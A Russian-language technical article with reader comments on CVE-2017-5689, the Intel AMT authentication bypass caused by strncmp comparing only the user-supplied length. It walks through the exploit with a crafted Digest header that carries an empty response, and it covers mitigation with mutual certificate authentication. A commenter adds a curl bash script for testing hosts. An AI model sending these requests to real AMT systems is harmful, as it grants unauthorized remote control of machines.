В начале 2017-го года Максим Малютин (Maksim Malyutin) из компании Embedi обнаружил уязвимость в Intel AMT, которая была официально оглашена Intel первого мая и получила номер CVE-2017-5689 (INTEL-SA-00075 в кодификации Intel). Уязвимости был присвоен тип «повышение прав» (Elevation of Privilege) и критический уровень опасности. Многие СМИ в ответ разразились заголовками что-то типа «серверные чипсеты Intel 9 лет имели уязвимость», видимо отталкиваясь от фразы «This vulnerability does not exist on Intel-based consumer PCs» в описании. Однако это не совсем так с переходом в совсем не так. Потому далее подробное техническое описание уязвимости, её реализация и, главное, способы защиты для систем, не имеющих обновления прошивки.

Intel ME, AMT, ISM, SBT


Без углубления в подробности что такое технология Intel Active Management Technology (AMT), всё же, нужно отметить, что не стоит путать Intel ME и Intel AMT, т.к. AMT всего лишь один из модулей (условно говоря — плагин), работающий на «движке» Intel ME. Мажорная версия Intel ME меняется с каждым поколением процессоров, вместе с ней, меняется и мажорная версия Intel AMT. Затронуты уязвимостью все версии начиная с Intel AMT 6 (соответственно Intel ME 6 и выше) — вплоть до самых новых (Intel ME 11.6 на момент написания статьи).

Также нужно добавить, что Intel Standard Manageability (ISM) — это урезанная версия Intel AMT (с ограниченным функционалом, но это AMT), а вот Intel Small Business Technology (SBT) — это технология, которая использует функционал AMT для своей работы (неточное определение но в общем смысл такой), но ею никак не является (это другой, отдельный плагин в составе движка Intel ME).

Hardware


Для поддержки Intel AMT требуется наличие трёх составляющих:

  1. Поддержка AMT в чипсете
  2. Поддержка AMT в процессоре
  3. Поддержка поддержка AMT в BIOS

Только наличие всех трёх даёт полноценную поддержку Intel AMT. Грубо (без совсем старых и деления на мобильные/десктоп) чипсеты Intel можно поделить на:

  1. Обычные — чипсеты Hxx и Zxx
  2. Малый бизнес — чипсеты с Bxx
  3. Бизнес/Корпоратив — чипсеты Qxx
  4. «Для энтузиастов» — чипсеты Xxx
  5. Серверные — чипсеты C2xx

Технологию Intel AMT поддерживают лишь чипсеты из 3-го и 5-го пункта, а технологию Intel SBT из 2-го — только этих сегментов касается уязвимость CVE-2017-5689. Если же уточнить, то из-за «непрямого» отношения SBT к AMT 2-й пункт рассматривать можно лишь условно, а поддерживающий на уровне чипсета 5-й пункт обычно отпадает, т.к. серверные чипсеты рассчитаны на использование BMC-контроллеров для удалённого управления, в многом дублируя функционал Intel AMT (или наоборот), потому реализовывать и поддержку BMC и поддержку AMT в BIOS вендоры особенно не спешат, в то время как для поддержки Intel AMT требуется и поддержка всех трёх условий (см. выше).

Соответственно, почти всегда в случае наличия Intel AMT речь будет идти лишь о чипсетах Qxx.
В системах SoC (System on Chip — когда процессор и чипсет интегрированы) узнать поддержку AMT сложней, т.к. это зависит от конкретной модели. В общем случае процессоры, поддерживающие Intel AMT можно найти на ark.intel.com/ru/Search/Advanced?ExtendedPageTables=True, выбрав в самом низу галку «Intel vPro Technology» (но также стоит не забывать про требования поддержки в BIOS).

Доступ


Уязвимостью можно воспользоваться:

  1. Локально на AMT-компьютере — требуется наличие установленных драйверов AMT, в частности драйвера LMS
  2. В локальной сети — firewall при этом не защищает, т.к. технология AMT перехватывает трафик ДО его обработки ОС. Кроме того, компьютер может быть вообще выключен (но подключён к сети+электросети)
  3. По интернету — в случае того, если компьютер был настроен на работу AMT через Intel MPS (плюс ранее указанное в пункте 2)

Во всех случаях требуется, чтобы технология AMT уже была проинициализирована/сконфигурирована.

Отдельной неприятной вещью является тот факт, что несконфигурированный компьютер, начиная с Intel AMT версии 7 и выше можно программно проинициализировать локально в клиентский режим (т.е. даже из расконфигурированного состояния). Потому в рекомендациях от Intel по борьбе с уязвимостью CVE-2017-5689, кроме различных телодвижений из разряда «всё выключить» есть опциональные «Disable CCM» — отключить клиентский режим и «Disable HBE» — отключить автоматическую инициализацию AMT (неприменимо для обычных компьютеров-ноутбуков — это лишь для встраиваемых систем). Потому как с помощью данных возможностей, предназначенных для упрощения программной инициализации, эту процедуру можно сделать на любой системе с поддержкой AMT (исключение — запрещённое AMT в BIOS).

Дизассемблирование


Все подробности нахождения уязвимости указаны в первоисточнике, они сделаны на примере Intel AMT 9 системы. Если коротко, то была дизассемблированная часть, обрабатывающая запросы к встроенному в Intel AMT web-серверу по характерным заголовкам (username, realm, nonce и т.д.) процесса аутентификации:

image

При исследовании на выходе функции проверки авторизации (заголовок «Authorization»), где сравниваются пароли (переданный с установленным) был обнаружен код проверки пароля:

image

ld	r1, [sp:user_response+10ch]; проверяемый пароль > в регистр r1 (второй аргумент strncmp)
mov	r0, r13		; АМТ-пароль > в регистр r0 (первый аргумент strncmp)
ld	r2, [sp:a4h]	; длина проверяемого пароля > в регистр r2 (третий аргумент strncmp)
bl	strncmp		; call strncmp()

В результате получается, что в третий аргумент для функции strncmp() — количество сравниваемых символов, загружается длина из нашего ответа, а значит, при нулевом значении strncmp всегда будет давать true.

Понятно, что это ошибка разработчика, который должен был указать в качестве проверяемой длины пароля не длину передаваемого авторизующимся юзером (который можно сделать любым, в т.ч. передать значение нулевой длины), а установленного (админского) пароля.

Практическая проверка уязвимости AMT-систем


В документе от Embedi был описан простой вариант с локальным доступом при сконфигурированном AMT без использования TLS — когда используется AMT-порт 16992. Чтобы не повторяться, будет приведён другой случай — доступ к расположенному в локальной сети компьютеру с поддержкой AMT, сконфигурированному на использование TLS (т.е. через AMT-порт 16993).

Подключаемся к системе с поддержкой AMT (т.к. при подключении по TLS будет проверяться имя сервера, то используется FQDN, а не IP):

image

Залогиниться со стандартным логином admin и оставив поле пароля пустым не получится (что понятно):

image

Теперь произведём манипуляцию с HTTP-заголовками, для этого используем расширение для Firefox HttpRequester.

Делаем пробный запрос (данные не важны), чтобы просто узнать realm из ответа (в ошибке в заголовке WWW-Authenticate будет нужный для составления дальнейшего запроса параметр:

image

Теперь добавляем вручную заголовок «Authorization»:

image

А в качестве значения указываем полученный ранее realm и следующие параметры:
Digest username=«admin», realm=«Digest:EB580000000000000000000000000000», uri="/index.htm", qop=auth, nc=, cnonce="", opaque=""

После чего жмём Add и отправляем запрос.

image

Нас интересует параметр nonce, который уникален для каждой сессии. Добавляем его в заголовок (для этого придётся удалить старый и добавить новый), должно получиться что-то типа:
Digest username=«admin», realm=«Digest:EB580000000000000000000000000000», nonce=«dh8jcw1CAQCTmvMOLG5UghjzJper6NvS», uri="/index.htm", qop=auth, nc=, cnonce="", response="", opaque=""

С поправкой на каждый раз разный nonce и свой realm.

Сама уязвимость выделена жирным — пустое значение пароля, чтобы после была проверка по его нулевой длине.

Отправляем составленный таким образом (но достаточно быстро — пока не истекла сессиия):

image

Есть логин, теперь можно открыть страницу в Firefox:

image

Никаких при этом запросов на пароль не было.

Защита действующих AMT-систем (с ошибкой CVE-2017-5689 в firmware) с помощью настройки аутентификации по сертификату (mutual auth)


Рекомендации Intel по защите от CVE-2017-5689 в основном заключаются в отключении AMT на поддерживающих её системах. Но, во-первых, многие (например, я) с удовольствием пользуются и хотят пользоваться впредь этой реально удобной технологией удалённого администрирования (особенно освоив её работу через интернет) и потому нет никакого желания отказываться от этого, банально выключая AMT в BIOS. Во-вторых, по опыту прошлых проблем различных вендоров с отключением AMT в BIOS, несложно предположить аналогичные и в будущем — когда отключённая в BIOS технология Intel AMT почему-то работала или могла быть активирована (несмотря на «Disabled» в BIOS Setup). Зная это, всегда наиболее правильной рекомендацией является проинициализовать и правильно настроить AMT — как раз для защиты систем с поддержкой Intel AMT (в противоположность «отключить и/или расконфигурировать»). В правильную настройку в том числе входит использование сертификатов для аутентификации (в дополнение к парольной) — сколько уж говорилось про ненадёжность парольной защиты, глупо повторяться.

Для этого можно использовать различные утилиты, например, официальный Manageability Commander от Intel (или другой удобной, я предпочитаю MeshCommander).

image
(На «Invalid TLS» обращать внимания не стоит, т.к. используется самоподписанный сертификат)

Закрываем доступ для не-TLS соединений и включаем клиентскую аутентификацию и для локального (через LMS) и для удалённого доступа (по сети и интернету), предварительно создав и загрузив нужные сертификаты.

Теперь при попытке зайти сначала (до парольной уязвимости) будет запрос на сертификат:

image

И только предоставив корректный сертификат, хэш рута которого был предварительно добавлен в хранилище сертификатов AMT данного компьютера и DNS которого был прописан в списке разрешённых — будет получен доступ к системе. Где уже дальше будет запрос на пароль (подвержённый уязвимости).

Таким образом AMT-система будет защищена и её можно привычно пользоваться, даже если обновление прошивки с исправлением уязвимости CVE-2017-5689 так и не будет выпущено производителем вашей системы.

Ссылки:

Поделиться с друзьями
-->

Комментарии (41)


  1. dartraiden
    09.05.2017 14:01
    +1

    Так всё же, подвержены ли этой уязвимости «десктопные» платы, где AMT не поддерживется?

    Вот тут товарищ утверждает, что интеловская утилита заявила, что его плата на чипсете H97 уязвима. Я подозреваю, что утилита ориентируется лишь на версию Intel ME, не глядя на то, доступна ли AMT.


    1. apple_rom
      09.05.2017 15:07
      +1

      В статье указано грубое деление чипсетов, где Intel SBT подразумевается у настольных чипсетов B77 и выше.
      Размер модуля SBT в Intel ME в разы меньше модуля AMT, потому требования много меньше (и, например, на мобильных он мог быть практически с любым чипсетом). В попытках пристроить технологии «для малого бизнеса», Intel экспериментировал, пытаясь найти подходящую нишу (как среднее между «корпоративным» и «для обычных пользователей»), что дало на выходе включение SBT (или другое название — Small Business Advantage — SBA) и в настольные чипсеты более новых поколений Hxx, например, из вашей ссылки H97. Потому в этом плане утилита, скорей всего права — найдя в системе возможность использования (не обязательно активированную) технологии Intel SBT — она написала про уязвимость.

      vPro Verification Table Parameter Definitions
      MeCapabilities: 12 bytes of data.
      Bytes 0-3: SKU/Capabilities
      Bit 0 — ME enabled/disabled (1 = Enabled)
      Bit 1 — Intel QST FW support (1 = Supported)
      Bit 2 — Intel ASF FW support (1 = Supported)
      Bit 3 — Intel AMT FW support (1 = Supported)
      Bit 4 — Reserved for future capabilities (must be set to “0”).
      Bit 5 – Intel SBT FW support (1 = Supported)
      Bit 6 – Intel Level III management (1 = Supported)*
      7-31 — Reserved for future capabilities (must be set to “0”).
      Bytes 4-11: ME FW Version.
      Bits 32:47 — ME FW Minor Version.
      Bits 48:63 — ME FW Major Version.
      Bits 64:79 — ME FW Build Number.
      Bits 80:95 — ME FW Hotfix Number.
      Note: If ME is disabled then other data cannot be retrieved.
      *Level III management is no longer supported beginning in Release 9.0.


  1. icbook
    09.05.2017 15:05

    • Каковы по мнению автора перспективы технологии RedFish?
    • AMT и RedFish это взаимно дополняющие партнеры, конкуренты или другой вариант?
    • Не сыграет ли описанная ситуация в пользу технологии RedFish ?


    1. apple_rom
      09.05.2017 18:28
      +1

      Всё-таки как не повлияло наличие технологии Intel AMT на IPMI, так она (или же её кончина) не повлияет и на RedFish.
      Intel AMT поддерживает RMCP (порты 623/664), собственно, это, как поддержка DASH и прочих других признанных промышленных стандартов, было требованием интегрирования в имеющуюся корпоративную инфраструктуру.
      RedFish, мне кажется, просто новая инкарнация IPMI (в частности — из-за использования таких морально древних протоколов как RMCP). При чём, не обязательно успешная, как и всё в таком страшно консервативном сегменте, как серверный.


      1. icbook
        10.05.2017 11:46

        Существует ли открытый и формализованный алгоритм детектирования AMT на заданной платформе (например, UEFI-протокол с заданным GUID)? Вопрос именно о динамическом детектировании в смысле чтения регистров, служебных полей, таблиц и т.п., а не о проверке модели платы или чипсета по заранее составленной базе данных.


        1. apple_rom
          15.05.2017 12:31

          Детект Intel AMT и его возможностей на платформах:


  1. Taciturn
    09.05.2017 15:22

    Вопрос не очень по теме — какие вообще сертификаты нормально работают с AMT? Q97, прошивка 9.1.41.3024. Установил сертификат Let's Encrypt. В результате в IE11, Opera 12 всё работает, Firefox 53.0.2, Chrome 57.0.2987.133 — SSL_ERROR_BAD_MAC_ALERT.


    1. apple_rom
      09.05.2017 16:32
      +1

      TLS 1.0 only. Потому старая Опера и работает, во всех современных принудительно включается неподдерживаемый Intel AMT протокол TLS1.2.
      Включить TLS 1.0 в новом Chrome проблематично (если подскажете как — спасибо), а в Firefox в about:config поставьте security.tls.version.max в 1 (единичку).
      Однако это касается протокола. Если же речь про вообще решение проблемы с дыркой АМТ, то это два шага — создать и добавить TLS-сертификаты плюс включить mutual:

      1. Настройка TLS-сертификтов для Intel AMT (на примере старого «коммандера», но с новым аналогично)
      2. Настройка взаимной аутентификации для AMT («mutual auth»)


      1. Taciturn
        09.05.2017 16:58

        Спасибо за информацию. Manageability/MeshCommander работают, VNC Viewer Plus тоже подключается.
        Именно браузером заходить всё равно не особо полезно — доступный функционал чудовищно ограничен, так что если это ожидаемая проблема, то и ладно — нет смысла понижать безопасность браузера.


        1. apple_rom
          09.05.2017 18:40

          Всё верно, вообще этот веб-интерфейс лишь для баловства и демонстрации. Реальное управление через специальные утилиты (самая лучшая с поправкой на условный Small Business — Manageability Commander) или пакеты ПО (Kaseya, Spiceworks etc), которые знают про возможности и требования Intel AMT.


  1. YuriM1983
    09.05.2017 16:05
    +1

    А функцию проверки сертификата писал тот же программист?


    1. apple_rom
      09.05.2017 16:41

      Это другой уровень во всех смыслах данного слова. Можно сравнить с уязвимостью/ошибкой в приложении на PHP и вероятностью уязвимости/ошибки в nginx/Apache.


      1. powerman
        10.05.2017 22:36

        Понимаю Вашу мотивацию и нежелание отключать AMT, но наличие такой дыры делает очень вероятным наличие других дыр. Не знаю, есть ли они там на самом деле, была ли эта ошибка следствием трагической случайности или системного подхода "пофиг на безопасность" — но сейчас куча людей набросилась на новый лакомый кусочек в поисках новых дыр… или набросятся, как только эксплуатация этой дыры перестанет приносить достаточные дивиденды. Так что до проведения (желательно — публичного) внешнего аудита безопасности исходников AMT держать системы с доступом к AMT из интернета — значит нарываться на неприятности.


        1. MacIn
          11.05.2017 16:36

          Понимаю Вашу мотивацию и нежелание отключать AMT

          Какова же эта мотивация?


        1. apple_rom
          11.05.2017 18:01

          наличие такой дыры делает очень вероятным наличие других дыр

          Наличие «такой дыры» обозначает всего лишь недостаточное тестирование. А недостаточное тестирование обозначает то, что технология AMT, выражаясь дипломатично, не является «приоритетным направлением» для Intel и давно.
          грустная история
          Эта тема — Intel AMT зарождение, распил расцвет и осиновый кол под номером CVE-2017-5689 закат — вообще, грустная история, достойная отдельной статьи, постараюсь написать, когда будет совсем плохо.


          1. powerman
            11.05.2017 18:39

            наличие такой дыры делает очень вероятным наличие других дыр

            Наличие «такой дыры» обозначает всего лишь недостаточное тестирование.

            С точки зрения менеджера или админа — да. Потому что оценивается причина, по которой ошибка попала в продакшн.

            С точки зрения разработчика — нет, это означает именно то, что написал я. Потому что оценивается причина, по которой такой код вообще попал в репо (был кем-то написан, прошёл чьё-то ревью, и был кем-то смержен в основную ветку). Если написанием кода в столь нежном и критичном месте занимается человек, который способен допустить такую грубую ошибку, и его код проходит ревью (либо ревью вообще не делается для таких критичных кусков кода) — это многое говорит о процессе разработки в целом и отношении к безопасности кода в целом. Такие ошибки в принципе не должны доходить до тестировщиков, если безопасность хоть как-то учитывается при разработке.


            1. willyd
              13.05.2017 12:18

              Лучше думать о востребованности/неуловимости этого Джо.
              Возможно, не у Вас отличные тест съюты, а — вы просто не нужны белым/черным шапочникам подходящего уровня.

              Я уверен на 99,9%, что все разработчики и ПМ, имеющие авторизации в C/C++ и не только, после бюллетня от Интела и описания уязвимости, проверили свои кейсы на наличие теста пароля с нулевой длинной.

              Так что не скромничайте — жгите дальше про критичность и грубые ошибки…


              1. powerman
                14.05.2017 04:59
                +2

                > Я уверен на 99,9%, что все разработчики и ПМ, имеющие авторизации в C/C++ и не только, после бюллетня от Интела и описания уязвимости, проверили свои кейсы на наличие теста пароля с нулевой длинной.

                Просто Вы — романтик. А на практике те разработчики, которые беспокоятся о безопасности, ничего проверять не стали, потому что у них давно поставлены процессы и выработано определённое отношение к коду, при котором такие баги не проходят, а если и проходят, то в настолько неочевидных случаях, что просматривать быстренько код после чтения статьи на хабре бессмысленно. А те разработчики, которые о безопасности особо не задумываются — тоже не побегут ничего проверять, потому что им тупо пофигу.


  1. AlB80
    09.05.2017 17:11

    не длину передаваемого авторизующимся юзером, а установленного пароля.
    Правильнее:
    1. длину не передаваемого авторизующимся юзером, а установленного пароля плюс один.
    2. длину передаваемого авторизующимся юзером пароля плюс один.

    Автор попытался исправить ошибку и сделал свою.


    1. firegurafiku
      09.05.2017 22:05

      А ещё правильнее, наверное, было бы использовать в этом случае просто strcmp и не передавать вообще никакую длину. Нужно же строки целиком сравнивать, а не их подстроки. Интересно, почему программист из Intel так сделал: это «микрооптимизация» такая или иррациональный страх не обнаружить завершающего нуля в конце строки?


      1. AlB80
        09.05.2017 22:19

        Это слишком неопределённое гадание. Но, раз уж это чистый си, то возможно что у них практикуется выделять память под максимальный размер без завершающего нуля. Если значение короче, то ноль на месте, если максимальное, то неявно. Тогда надо указывать некую константу, максимальный размер пароля.


      1. grossws
        09.05.2017 22:19
        +2

        Сравнивать строки, полученные по сети с помощью strcmp — прямой путь к выстрелу в ногу.


        1. firegurafiku
          09.05.2017 22:34

          Вовсе нет, если при получении фильтровать их них внутренние нулевые байты, после чего добивать строку нулём. Если эти ребята по каким-то причинам не пользовались нуль-терминированными строками, то нужно не strncmp юзать, а соответствующую функцию из их строковой библиотеки, или хотя бы memcmp.


          1. grossws
            09.05.2017 22:39

            Да, но эту пачку действий (проверка на наличие NUL, усечение при необходимости и прочие радости) нужно делать в каждом месте, где приходит строка снаружи. И рано или поздно человек в этом месте ошибается. Ошибок этого типа не счесть.


  1. icCE
    09.05.2017 18:01

    Можно добавить, что Intel ME скорее всего сделан на Minix 3.


    1. dartraiden
      09.05.2017 19:33
      +2

      ThreadX там, если верить информации из интернетов.

      Архитектурно раньше всё крутилось на ARC, потом сделали 2 ядра x86. В последних версиях добавили снова третье ядро ARC.


      1. icCE
        09.05.2017 23:00

        Ну то, что пслд раскопали содержат код из minix 3

        We are still unable to build an overall picture of ME, due to Huffman compression of the kernel and syslib code. However, it is possible to analyze TXE (Trusted Execution Engine, the equivalent of ME for Intel Atom CPUs) thanks to the absence of Huffman compression.

        In addition, when we looked inside the decompressed vfs module, we encountered the strings “FS: bogus child for forking” and “FS: forking on top of in-use child,” which clearly originate from Minix3 code. It would seem that ME 11 is based on the MINIX 3 OS developed by Andrew Tanenbaum :)

        http://blog.ptsecurity.com/2017/04/intel-me-way-of-static-analysis.html


      1. icCE
        10.05.2017 00:50

        Уточнение — это относится к 11 версии.

        https://www.youtube.com/watch?v=2_aokrfcoUk&feature=youtu.be&t=52m6s


  1. a1ien_n3t
    09.05.2017 21:24

    Что-то асмовский код похож больно на ARM. Как так? внутри интела живет кусочек арма?


    1. grossws
      09.05.2017 22:25

      Вроде, ARC должен быть. И, как минимум, у ARM Cortex-M нет r18


      1. a1ien_n3t
        10.05.2017 16:40

        У 64 bit'ного ARM Cortex-A есть)


        1. grossws
          10.05.2017 16:49

          Для такого девайса Cortex-A довольно странно использовать. Cortex-R ещё может быть, хотя там ситуация с регистрами должна быть похожа на Cortex-A.


  1. VitalKoshalew
    09.05.2017 23:57

    Кто-нибудь в курсе, откуда у Embedi незашифрованная прошивка AMT? Я думал, все прошивки AMT всегда идут в зашифрованном виде.


    1. zotia
      10.05.2017 12:29
      +1

      Есть утилита Unhuffme v2.4 для распаковки/расшифрования части кода Intel ME, которая содержится в прошивке от производителей системной платы.
      PS: но это не весь код, необходимый для полноценной работы Intel ME.


  1. Ivan_83
    10.05.2017 04:26

    Раз оно обрабатывается до ОС значит и фильтровать это надо раньше — в коммутаторе при помощи ACL.
    Ещё бы точно знать что именно.


    1. HiroX
      11.05.2017 08:18
      -1

      Порты 16992 и 16993 закрыть в коммутаторе и все, имхо.


      1. apple_rom
        11.05.2017 08:30
        +2

        Если вы их перед этим не пробрасывали, то и закрывать незачем. Технология Intel AMT по дефолту подразумевает локальную сеть (потому за роутером она, что логично, не работает — без его настройки под это).
        В случае Intel AMT, сконфигурированной на использование Intel MPS (Manageability Proxy Server) или так называемый режим CIRA (Client Initiated Remote Access) — никакие закрытые порты не помогут (т.к. это исходящий трафик). Однако такая система (сделанная вами или до вас) не будет (напрямую, через веб) подвержена данной уязвимости (с некоторой поправкой на то, что адрес MPS-сервера известен лишь вам), т.к. подключиться к веб-интерфейсу через MPS не получится. Хотя сама дырка останется и теоретически её задействовать можно. Но «коммутаторы» тут точно ни при чём.


  1. willyd
    10.05.2017 08:35
    +7

    Пока лучшая статья по теме. Остальные были в виде сухих выдержек или панических криков.


  1. Aleksi
    16.05.2017 11:39

    Поддержка поддержка AMT в BIOS

    Лишнее слово.


  1. Shrike
    19.05.2017 20:11

    У меня непатченный bios. Решил проверить ваш способ, настроил ради этого AMT )
    Получил real/nonce (кстати, это же можно с первого раза получить, зачем два запроса?), шлем их в заголовке «Authorization», так?
    Т.е. типа того:
    Authorization: Digest username=«admin», realm=«Digest:B3C97E62E59CB92AB6A6EB26AA4771B1», nonce=«yMMSAAQFAAD3wJyN144HDITgcPb+t53A», uri="/index.htm", qop=auth, nc=, cnonce="", response="", opaque=""

    Но проц отвечает редиректом на страницу tokenexp.html


  1. esinev
    19.05.2017 20:20

    Мы на основе статьи написали простой bash-скрипт для проверки этой уязвимости (test.sh):


    IP=$1
    NONCE=$2
    curl "http://$IP:16992/index.htm?"     -v     -H "Authorization: Digest username=\"admin\", realm=\"Digest:99770000000000000000000000000000\", nonce=\"$NONCE\", uri=\"/index.htm?\", response=\"\", qop=auth, nc=, cnonce=\"$CNONCE\""     -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8,ru;q=0.6'     -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'     -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Referer: http://10.0.0.111:16992/index.htm?'     -H 'Connection: keep-alive' --compressed ;

    Запускаем первый раз и получаем nonce:


    ./test.sh 10.0.0.12
    
    ...
    < HTTP/1.1 401 Unauthorized
    < WWW-Authenticate: Digest realm="Digest:D36A0000000000000000000000000000", nonce="KxXkEQEBAACmYSl8QvJVQ/UGOIBjEZ6W",stale="false",qop="auth"
    < Content-Type: text/html
    ...

    Затем во втором аргументе используем полученный nonce:


    ./test.sh 10.0.0.12 `KxXkEQEBAACmYSl8QvJVQ/UGOIBjEZ6W`